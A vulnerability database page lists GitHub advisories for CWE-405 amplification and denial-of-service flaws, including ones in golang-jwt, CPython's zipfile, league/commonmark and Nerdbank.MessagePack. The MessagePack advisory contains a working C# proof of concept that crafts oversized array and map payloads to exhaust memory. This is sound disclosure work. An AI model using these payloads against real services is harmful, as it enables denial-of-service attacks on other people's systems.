GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-405

Allowed-with-Review

Asymmetric Resource Consumption (Amplification)

Abstraction: Class · Status: Incomplete

The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."

101 vulnerabilities reference this CWE, most recent first.

GHSA-J6GV-XG9Q-8H4P

Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31
VLAI
Details

An authenticated user is able to cause disproportionate CPU load on the Frontend webserver by sending specifically crafted requests to the Frontend validate.api.exists action, leading to potential denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-23934"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T13:17:21Z",
    "severity": "MODERATE"
  },
  "details": "An authenticated user is able to cause disproportionate CPU load on the Frontend webserver by sending specifically crafted requests to the Frontend validate.api.exists action, leading to potential denial of service.",
  "id": "GHSA-j6gv-xg9q-8h4p",
  "modified": "2026-08-18T15:31:37Z",
  "published": "2026-08-18T15:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23934"
    },
    {
      "type": "WEB",
      "url": "https://support.zabbix.com/browse/ZBX-28072"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JJ6M-R8JC-2GP7

Vulnerability from github – Published: 2021-06-23 18:03 – Updated: 2022-10-25 20:24
VLAI
Summary
Asymmetric Resource Consumption (Amplification) in Docker containers created by Wings
Details

Impact

All versions of Pterodactyl Wings preior to 1.4.4 are vulnerable to system resource exhaustion due to improper container process limits being defined. A malicious user can consume more resources than intended and cause downstream impacts to other clients on the same hardware, eventually causing the physical server to stop responding.

Patches

Users should upgrade to 1.4.4.

Workarounds

There is no non-code based workaround for impacted versions of the software. Users running customized versions of this software can manually set a PID limit for containers created.

For more information

If you have any questions or comments about this advisory: * Contact us on Discord * Email us at dane ät pterodactyl dot io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pterodactyl/wings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-22T15:43:57Z",
    "nvd_published_at": "2021-06-22T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAll versions of Pterodactyl Wings preior to `1.4.4` are vulnerable to system resource exhaustion due to improper container process limits being defined. A malicious user can consume more resources than intended and cause downstream impacts to other clients on the same hardware, eventually causing the physical server to stop responding.\n\n### Patches\nUsers should upgrade to `1.4.4`.\n\n### Workarounds\nThere is no non-code based workaround for impacted versions of the software. Users running customized versions of this software can manually set a PID limit for containers created.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Contact us on [Discord](https://discord.gg/pterodactyl)\n* Email us at `dane \u00e4t pterodactyl dot io`",
  "id": "GHSA-jj6m-r8jc-2gp7",
  "modified": "2022-10-25T20:24:52Z",
  "published": "2021-06-23T18:03:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-jj6m-r8jc-2gp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32699"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/commit/e0078eee0a71d61573a94c75e6efcad069d78de3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/wings"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Asymmetric Resource Consumption (Amplification) in Docker containers created by Wings "
}

GHSA-JM46-725R-HH9V

Vulnerability from github – Published: 2024-03-19 18:31 – Updated: 2024-03-25 00:30
VLAI
Details

An issue was found in the CPython zipfile module affecting versions 3.12.2, 3.11.8, 3.10.13, 3.9.18, and 3.8.18 and prior.

The zipfile module is vulnerable to “quoted-overlap” zip-bombs which exploit the zip format to create a zip-bomb with a high compression ratio. The fixed versions of CPython makes the zipfile module reject zip archives which overlap entries in the archive.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-19T16:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue was found in the CPython `zipfile` module affecting versions 3.12.2, 3.11.8, 3.10.13, 3.9.18, and 3.8.18 and prior.\n\nThe zipfile module is vulnerable to \u201cquoted-overlap\u201d zip-bombs which exploit the zip format to create a zip-bomb with a high compression ratio. The fixed versions of CPython makes the zipfile module reject zip archives which overlap entries in the archive.\n\n",
  "id": "GHSA-jm46-725r-hh9v",
  "modified": "2024-03-25T00:30:30Z",
  "published": "2024-03-19T18:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/issues/109858"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/30fe5d853b56138dbec62432d370a1f99409fc85"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/66363b9a7b9fe7c99eba3a185b74c5fdbf842eba"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/a2c59992e9e8d35baba9695eb186ad6c6ff85c51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/a956e510f6336d5ae111ba429a61c3ade30a7549"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/d05bac0b74153beb541b88b4fca33bf053990183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/fa181fcf2156f703347b03a3b1966ce47be8ab3b"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/03/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/03/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://mail.python.org/archives/list/security-announce@python.org/thread/XELNUX2L3IOHBTFU7RQHCY6OUVEWZ2FG"
    },
    {
      "type": "WEB",
      "url": "https://www.bamsoftware.com/hacks/zipbomb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JXH8-WPM5-QP9X

Vulnerability from github – Published: 2025-08-15 00:31 – Updated: 2025-08-15 00:31
VLAI
Details

HCL Connections Docs may mishandle validation of certain uploaded documents leading to denial of service due to resource exhaustion.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-14T23:15:33Z",
    "severity": "MODERATE"
  },
  "details": "HCL Connections Docs may mishandle validation of certain uploaded documents leading to denial of service due to resource exhaustion.",
  "id": "GHSA-jxh8-wpm5-qp9x",
  "modified": "2025-08-15T00:31:48Z",
  "published": "2025-08-15T00:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31987"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0123272"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MH63-6H87-95CP

Vulnerability from github – Published: 2025-03-21 22:04 – Updated: 2025-04-10 13:02
VLAI
Summary
jwt-go allows excessive memory allocation during header parsing
Details

Summary

Function parse.ParseUnverified currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.

As a result, in the face of a malicious request whose Authorization header consists of Bearer followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)

Details

See parse.ParseUnverified

Impact

Excessive memory allocation

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/golang-jwt/jwt/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-rc.1"
            },
            {
              "fixed": "5.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/golang-jwt/jwt/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/golang-jwt/jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "last_affected": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T22:04:00Z",
    "nvd_published_at": "2025-03-21T22:15:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFunction [`parse.ParseUnverified`](https://github.com/golang-jwt/jwt/blob/c035977d9e11c351f4c05dfeae193923cbab49ee/parser.go#L138-L139) currently splits (via a call to [strings.Split](https://pkg.go.dev/strings#Split)) its argument (which is untrusted data) on periods.\n\nAs a result, in the face of a malicious request whose _Authorization_ header consists of `Bearer ` followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function\u0027s argument), with a constant factor of about 16. Relevant weakness: [CWE-405: Asymmetric Resource Consumption (Amplification)](https://cwe.mitre.org/data/definitions/405.html)\n\n### Details\n\nSee [`parse.ParseUnverified`](https://github.com/golang-jwt/jwt/blob/c035977d9e11c351f4c05dfeae193923cbab49ee/parser.go#L138-L139) \n\n### Impact\n\nExcessive memory allocation",
  "id": "GHSA-mh63-6h87-95cp",
  "modified": "2025-04-10T13:02:34Z",
  "published": "2025-03-21T22:04:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/golang-jwt/jwt/security/advisories/GHSA-mh63-6h87-95cp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang-jwt/jwt/commit/0951d184286dece21f73c85673fd308786ffe9c3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang-jwt/jwt/commit/bf316c48137a1212f8d0af9288cc9ce8e59f1afb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/golang-jwt/jwt"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250404-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jwt-go allows excessive memory allocation during header parsing"
}

GHSA-MJ63-M3RC-8PPR

Vulnerability from github – Published: 2026-08-06 20:42 – Updated: 2026-08-06 20:42
VLAI
Summary
league/commonmark: Denial of service via deeply nested XML output
Details

Impact

XmlRenderer pretty-prints XML by emitting depth-proportional indentation whitespace for every opening and closing tag. For a tree of depth n, the indentation alone sums to O(n²) bytes of output (and corresponding memory), reachable through MarkdownToXmlConverter — e.g. str_repeat('> ', $depth) . "x\n", a single line of nested blockquotes — or through a direct XmlRenderer::renderDocument() call on an attacker-influenced AST.

This affects applications that convert untrusted Markdown to XML, which is an opt-in output path. The parser's max_nesting_level bounds the depth of parser-created trees, but its default is high enough to reach damaging sizes, can be raised by the host application, and does not constrain custom or programmatically built ASTs handed straight to the renderer. The result is a memory / output-size amplification rather than a hard crash, which is why this issue is rated Medium rather than High. No confidentiality or integrity impact. XML rendering was introduced in 2.0.0 (first shipped in 2.0.0-beta1, June 2021) and has emitted depth-proportional indentation ever since, so all 2.x releases are affected (verified against 2.8.x, clean upstream 1902f60f). 1.x has no XML renderer and is not affected.

Workarounds

Applications converting untrusted Markdown to XML should:

  • Lower max_nesting_level to a conservative value appropriate to expected content, so the parser refuses to build extremely deep trees. This is the most direct lever for parser-produced ASTs, but does not protect trees built programmatically and passed straight to XmlRenderer.
  • Cap input size before conversion, since the amplification is driven by input-proportional depth.
  • Constrain XML consumers with memory / output-size limits (and streaming or size caps on any downstream XML parser or storage) so one request cannot allocate unbounded output.
  • Prefer HTML rendering for untrusted content where XML is not strictly required — the HTML renderer does not emit depth-proportional indentation and is not subject to this amplification.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "league/commonmark"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T20:42:54Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`XmlRenderer` pretty-prints XML by emitting depth-proportional indentation whitespace for **every** opening and closing tag. For a tree of depth n, the indentation alone sums to **O(n\u00b2)** bytes of output (and corresponding memory), reachable through `MarkdownToXmlConverter` \u2014 e.g. `str_repeat(\u0027\u003e \u0027, $depth) . \"x\\n\"`, a single line of nested blockquotes \u2014 or through a direct `XmlRenderer::renderDocument()` call on an attacker-influenced AST.\n\nThis affects applications that convert untrusted Markdown to XML, which is an **opt-in** output path. The parser\u0027s `max_nesting_level` bounds the depth of *parser-created* trees, but its default is high enough to reach damaging sizes, can be raised by the host application, and does not constrain custom or programmatically built ASTs handed straight to the renderer. The result is a memory / output-size amplification rather than a hard crash, which is why this issue is rated **Medium** rather than High. No confidentiality or integrity impact. XML rendering was introduced in 2.0.0 (first shipped in 2.0.0-beta1, June 2021) and has emitted depth-proportional indentation ever since, so all 2.x releases are affected (verified against 2.8.x, clean upstream `1902f60f`). 1.x has no XML renderer and is not affected.\n\n### Workarounds\n\nApplications converting untrusted Markdown to XML should:\n\n- **Lower `max_nesting_level`** to a conservative value appropriate to expected content, so the parser refuses to build extremely deep trees. This is the most direct lever for parser-produced ASTs, but does not protect trees built programmatically and passed straight to `XmlRenderer`.\n- **Cap input size before conversion**, since the amplification is driven by input-proportional depth.\n- **Constrain XML consumers** with memory / output-size limits (and streaming or size caps on any downstream XML parser or storage) so one request cannot allocate unbounded output.\n- **Prefer HTML rendering** for untrusted content where XML is not strictly required \u2014 the HTML renderer does not emit depth-proportional indentation and is not subject to this amplification.",
  "id": "GHSA-mj63-m3rc-8ppr",
  "modified": "2026-08-06T20:42:55Z",
  "published": "2026-08-06T20:42:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-mj63-m3rc-8ppr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/commit/b5ac8c3947ca81844e85a09c7e0a5b4148bde2e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thephpleague/commonmark"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/releases/tag/2.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "league/commonmark: Denial of service via deeply nested XML output"
}

GHSA-QJVR-435C-5FJH

Vulnerability from github – Published: 2026-05-29 19:55 – Updated: 2026-05-29 19:55
VLAI
Summary
Nerdbank.MessagePack has a memory amplification DoS in collection deserialization
Details

Nerdbank.MessagePack deserializers for many collection-shaped types trusted the element count declared in MessagePack array and map headers when allocating destination storage. A crafted payload could therefore force large arrays, pooled buffers, dictionaries, or collection instances to be allocated before the deserializer had consumed the corresponding elements.

The same allocation pattern existed across strongly typed arrays, primitive arrays, mutable and immutable dictionaries, mutable enumerables, span-backed enumerable construction, JsonNode, MessagePackValue, and the object/dynamic primitive converters.

Because MessagePack array and map headers carry an attacker-controlled element count, any converter that immediately allocates count elements or constructs a collection with capacity count can turn a payload that is merely large into a much larger managed heap allocation. The reader's residency checks reduce the most extreme header-only attack shape, but they do not remove the memory amplification: minimal MessagePack elements can be one or two bytes on the wire while the managed representation may require object references, dictionary buckets, entries, array headers, or over-allocated collection internals.

Vulnerability Pattern

Affected converters followed one or both of these patterns:

int count = reader.ReadArrayHeader();
TElement[] array = new TElement[count];

int count = reader.ReadMapHeader();
Dictionary<TKey, TValue> map = new(count);

or, for streaming and span-backed construction:

TElement[] elements = ArrayPool<TElement>.Shared.Rent(count);
TCollection collection = getCollection(state, count);

In all affected cases, the allocation size was derived from the untrusted header count before the converter had read the elements. This made deserialization vulnerable to memory amplification and process availability attacks.

Affected Scope

The vulnerable logic was present in multiple converter families:

Converter surface Risk
ArrayConverter<TElement> Allocated new TElement[count] for typed arrays and rented large buffers in async paths.
ArraysOfPrimitivesConverters Allocated or rented TElement[count] for primitive array and span-constructor paths.
MutableEnumerableConverter<TEnumerable, TElement> Passed the untrusted count directly to collection construction.
SpanEnumerableConverter<TEnumerable, TElement> Rented buffers sized to the declared element count.
MutableDictionaryConverter<TDictionary, TKey, TValue> Passed the untrusted map count directly to dictionary construction.
ImmutableDictionaryConverter<TDictionary, TKey, TValue> Rented KeyValuePair<TKey, TValue>[count] before reading entries.
PrimitivesAsObjectConverter and PrimitivesAsDynamicConverter Allocated object arrays and dictionaries from attacker-controlled counts.
JsonNodeConverter Allocated JsonNode?[] from the declared array length.
MessagePackValueConverter Allocated arrays and dictionaries from declared array/map counts.

This means the issue affects normal typed deserialization as well as object/dynamic APIs. Any endpoint or protocol surface that accepts untrusted MessagePack and deserializes collection-shaped contracts can be affected.

Attack Mechanics

MessagePack encodes array and map lengths up front. For array32 and map32, the declared count can be very large. The reader checks that enough bytes remain to plausibly contain the declared number of elements, so an attacker must provide real payload bytes. However, the managed allocation can still be much larger than the payload.

Examples:

Attack shape Input cost Managed allocation pressure
array32 of nil values into object?[] 1 byte per element 8 bytes per reference on 64-bit runtimes, plus array overhead.
map32 of small keys and nil values into Dictionary<object, object?> 2 bytes per entry Buckets, entries, key/value references, and dictionary overhead.
array32 into typed reference arrays 1 byte per nil element when element type allows null 8 bytes per reference, plus array overhead.
array32 into immutable dictionary staging buffers 2+ bytes per entry KeyValuePair<TKey, TValue>[] staging allocation before construction.
map32 into typed dictionaries 2+ bytes per entry for small keys/values Dictionary capacity is allocated from the declared map count.

At larger counts, the attack can trigger OutOfMemoryException, force full blocking garbage collections, or degrade service through repeated moderate allocations. The impact is availability loss rather than confidentiality or integrity compromise.

Impact

An attacker who can deliver crafted MessagePack data to an endpoint that deserializes collections can:

  • Crash the target process via OutOfMemoryException from a single large payload.
  • Exhaust available memory through repeated moderate payloads.
  • Induce severe GC pressure, increasing latency and reducing throughput.
  • Affect typed DTO and framework integration paths, not only dynamic or untyped deserialization paths.

Concrete affected configurations include:

  • ASP.NET Core, SignalR, RPC, queue, or storage endpoints that deserialize MessagePack request bodies or messages into DTOs with arrays, lists, sets, dictionaries, immutable dictionaries, JsonNode, MessagePackValue, object, or dynamic members.
  • Code calling typed Deserialize<T>() where T contains collection-shaped members.
  • Code calling DeserializePrimitives() or DeserializeDynamicPrimitives() on untrusted input.
  • Applications registering WithObjectConverter() or WithDynamicObjectConverter() for framework integration or ad hoc object graphs.

Severity Rationale

Attack complexity is low. Once an application accepts untrusted MessagePack for an affected collection type, exploitation only requires a crafted array or map payload with a large declared count and minimal encoded elements.

Privileges required depend on deployment. Public endpoints are exploitable without authentication. Internal or authenticated message-processing systems reduce exposure but remain vulnerable to any caller who can submit MessagePack data.

User interaction is not required. The attack is triggered during server-side or service-side deserialization.

Availability impact is low. The practical outcome is memory pressure which can slow down a process or machine, or cause a network request to fail.

Proof of Concept

The following sample demonstrates the original object/dynamic shape and a typed array shape. Both rely on the same underlying bug: allocation is derived from the MessagePack header count before the elements are consumed.

using System.Buffers;
using System.Buffers.Binary;
using Nerdbank.MessagePack;

Console.WriteLine("=== Memory Amplification DoS - Nerdbank.MessagePack ===");
Console.WriteLine();

var serializer = new MessagePackSerializer();

// 5-byte array32 header + 1 byte per nil element.
// Deserializing as object?[] allocates one managed reference per element.
const int ObjectArrayCount = 1_000_000;
byte[] objectArrayPayload = BuildArray32Payload(ObjectArrayCount, 0xC0);

Measure("object?[] array32 nil", objectArrayPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(objectArrayPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.DeserializePrimitives(ref reader);
});

// 5-byte array32 header + 1 byte per integer element.
// A typed int[] target allocates four bytes per element plus array overhead.
const int IntArrayCount = 1_000_000;
byte[] intArrayPayload = BuildArray32Payload(IntArrayCount, 0x00);

Measure("int[] array32 fixint", intArrayPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(intArrayPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.Deserialize<int[]>(ref reader);
});

// 5-byte map32 header + 2 bytes per entry: small fixint key, nil value.
// Duplicate keys are overwritten later, but the Dictionary capacity allocation fires first.
const int MapCount = 100_000;
byte[] mapPayload = BuildMap32Payload(MapCount);

Measure("object dictionary map32", mapPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(mapPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.DeserializePrimitives(ref reader);
});

static void Measure(string name, byte[] payload, Func<object?> deserialize)
{
    GC.Collect();
    long before = GC.GetTotalMemory(true);

    try
    {
        object? result = deserialize();
        long after = GC.GetTotalMemory(false);
        long delta = after - before;
        Console.WriteLine($"[{name}] payload: {payload.Length / 1024.0:F1} KB");
        Console.WriteLine($"[{name}] memory delta: +{delta / 1024.0 / 1024.0:F1} MB");
        Console.WriteLine($"[{name}] amplification: {(double)delta / payload.Length:F1}x");
        GC.KeepAlive(result);
    }
    catch (OutOfMemoryException)
    {
        Console.WriteLine($"[{name}] OutOfMemoryException");
    }
    catch (MessagePackSerializationException ex)
    {
        Console.WriteLine($"[{name}] guarded: {ex.Message}");
    }

    Console.WriteLine();
}

static byte[] BuildArray32Payload(int count, byte element)
{
    byte[] payload = new byte[5 + count];
    payload[0] = 0xDD;
    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);
    payload.AsSpan(5).Fill(element);
    return payload;
}

static byte[] BuildMap32Payload(int count)
{
    byte[] payload = new byte[5 + count * 2];
    payload[0] = 0xDF;
    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);

    for (int i = 0; i < count; i++)
    {
        payload[5 + i * 2] = (byte)(i % 128);
        payload[5 + i * 2 + 1] = 0xC0;
    }

    return payload;
}

Confirmed output against the vulnerable implementation included object-array amplification around 8x and dictionary amplification above 20x for moderate payload sizes. Typed collection amplification varies by element type and target collection implementation, but the same attacker-controlled preallocation primitive is present.

Remediation

The deserializer honors input data's prefixed collection sizes up to a reasonable limit, after which the collections grow when the data is actually encountered, such that memory amplification is limited to only small amounts over the size of the data being deserialized.

Prior Art

CVE-2026-21452 / GHSA-cw39-r4h6-8j3x: MessagePack for Java. An EXT32 object with an attacker-controlled payload length caused ExtensionValue.getData() to allocate a byte array of that size with no upper bound. This is the same vulnerability class: header-declared size leading to attacker-controlled heap allocation. It was fixed in msgpack-java 0.9.11 by avoiding unbounded allocation.

CVE-2024-48924 / GHSA-4qm4-8hg2-g2xm: MessagePack-CSharp. Untrusted data could trigger denial of service during deserialization through a different mechanism. It demonstrates the same ecosystem-level risk: MessagePack deserializers are frequently reachable on network and message-processing boundaries, where availability defects are exploitable.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Nerdbank.MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:55:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Nerdbank.MessagePack deserializers for many collection-shaped types trusted the element count declared in MessagePack array and map headers when allocating destination storage. A crafted payload could therefore force large arrays, pooled buffers, dictionaries, or collection instances to be allocated before the deserializer had consumed the corresponding elements.\n\nThe same allocation pattern existed across strongly typed arrays, primitive arrays, mutable and immutable dictionaries, mutable enumerables, span-backed enumerable construction, `JsonNode`, `MessagePackValue`, and the object/dynamic primitive converters.\n\nBecause MessagePack array and map headers carry an attacker-controlled element count, any converter that immediately allocates `count` elements or constructs a collection with capacity `count` can turn a payload that is merely large into a much larger managed heap allocation. The reader\u0027s residency checks reduce the most extreme header-only attack shape, but they do not remove the memory amplification: minimal MessagePack elements can be one or two bytes on the wire while the managed representation may require object references, dictionary buckets, entries, array headers, or over-allocated collection internals.\n\n## Vulnerability Pattern\n\nAffected converters followed one or both of these patterns:\n\n```csharp\nint count = reader.ReadArrayHeader();\nTElement[] array = new TElement[count];\n\nint count = reader.ReadMapHeader();\nDictionary\u003cTKey, TValue\u003e map = new(count);\n```\n\nor, for streaming and span-backed construction:\n\n```csharp\nTElement[] elements = ArrayPool\u003cTElement\u003e.Shared.Rent(count);\nTCollection collection = getCollection(state, count);\n```\n\nIn all affected cases, the allocation size was derived from the untrusted header count before the converter had read the elements. This made deserialization vulnerable to memory amplification and process availability attacks.\n\n## Affected Scope\n\nThe vulnerable logic was present in multiple converter families:\n\n| Converter surface | Risk |\n|-------------------|------|\n| `ArrayConverter\u003cTElement\u003e` | Allocated `new TElement[count]` for typed arrays and rented large buffers in async paths. |\n| `ArraysOfPrimitivesConverters` | Allocated or rented `TElement[count]` for primitive array and span-constructor paths. |\n| `MutableEnumerableConverter\u003cTEnumerable, TElement\u003e` | Passed the untrusted count directly to collection construction. |\n| `SpanEnumerableConverter\u003cTEnumerable, TElement\u003e` | Rented buffers sized to the declared element count. |\n| `MutableDictionaryConverter\u003cTDictionary, TKey, TValue\u003e` | Passed the untrusted map count directly to dictionary construction. |\n| `ImmutableDictionaryConverter\u003cTDictionary, TKey, TValue\u003e` | Rented `KeyValuePair\u003cTKey, TValue\u003e[count]` before reading entries. |\n| `PrimitivesAsObjectConverter` and `PrimitivesAsDynamicConverter` | Allocated object arrays and dictionaries from attacker-controlled counts. |\n| `JsonNodeConverter` | Allocated `JsonNode?[]` from the declared array length. |\n| `MessagePackValueConverter` | Allocated arrays and dictionaries from declared array/map counts. |\n\nThis means the issue affects normal typed deserialization as well as object/dynamic APIs.\nAny endpoint or protocol surface that accepts untrusted MessagePack and deserializes collection-shaped contracts can be affected.\n\n## Attack Mechanics\n\nMessagePack encodes array and map lengths up front. For `array32` and `map32`, the declared count can be very large. The reader checks that enough bytes remain to plausibly contain the declared number of elements, so an attacker must provide real payload bytes. However, the managed allocation can still be much larger than the payload.\n\nExamples:\n\n| Attack shape | Input cost | Managed allocation pressure |\n|--------------|------------|-----------------------------|\n| `array32` of `nil` values into `object?[]` | 1 byte per element | 8 bytes per reference on 64-bit runtimes, plus array overhead. |\n| `map32` of small keys and `nil` values into `Dictionary\u003cobject, object?\u003e` | 2 bytes per entry | Buckets, entries, key/value references, and dictionary overhead. |\n| `array32` into typed reference arrays | 1 byte per `nil` element when element type allows null | 8 bytes per reference, plus array overhead. |\n| `array32` into immutable dictionary staging buffers | 2+ bytes per entry | `KeyValuePair\u003cTKey, TValue\u003e[]` staging allocation before construction. |\n| `map32` into typed dictionaries | 2+ bytes per entry for small keys/values | Dictionary capacity is allocated from the declared map count. |\n\nAt larger counts, the attack can trigger `OutOfMemoryException`, force full blocking garbage collections, or degrade service through repeated moderate allocations. The impact is availability loss rather than confidentiality or integrity compromise.\n\n## Impact\n\nAn attacker who can deliver crafted MessagePack data to an endpoint that deserializes collections can:\n\n- Crash the target process via `OutOfMemoryException` from a single large payload.\n- Exhaust available memory through repeated moderate payloads.\n- Induce severe GC pressure, increasing latency and reducing throughput.\n- Affect typed DTO and framework integration paths, not only dynamic or untyped deserialization paths.\n\nConcrete affected configurations include:\n\n- ASP.NET Core, SignalR, RPC, queue, or storage endpoints that deserialize MessagePack request bodies or messages into DTOs with arrays, lists, sets, dictionaries, immutable dictionaries, 